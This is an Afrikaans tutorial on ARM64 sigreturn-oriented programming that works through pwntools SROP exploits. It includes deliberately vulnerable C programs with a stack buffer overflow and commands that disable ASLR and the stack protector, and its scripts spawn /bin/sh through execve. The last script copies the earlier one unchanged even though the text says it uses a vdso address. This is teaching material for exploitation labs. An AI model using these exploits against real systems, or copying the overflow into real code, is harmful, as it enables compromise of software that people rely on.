SROP - ARM64

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Pwntools voorbeeld

Hierdie voorbeeld skep die kwesbare binêre en benut dit. Die binêre lees in die stapel en roep dan sigreturn aan:

from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof voorbeeld

Kode

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Compile dit met:

clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

Die exploit misbruik die bof om terug te keer na die oproep na sigreturn en berei die stapel voor om execve aan te roep met 'n wysiger na /bin/sh.

from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc	#0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof voorbeeld sonder sigreturn

Kode

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

In die afdeling vdso is dit moontlik om 'n oproep na sigreturn in die offset 0x7b0 te vind:

Daarom, as dit gelek is, is dit moontlik om hierdie adres te gebruik om toegang tot 'n sigreturn te verkry as die binêre dit nie laai nie:

from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc	#0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Vir meer inligting oor vdso, kyk:

Ret2vDSO

En om die adres van /bin/sh te omseil, kan jy verskeie omgewing veranderlikes skep wat daarna verwys, vir meer inligting:

ASLR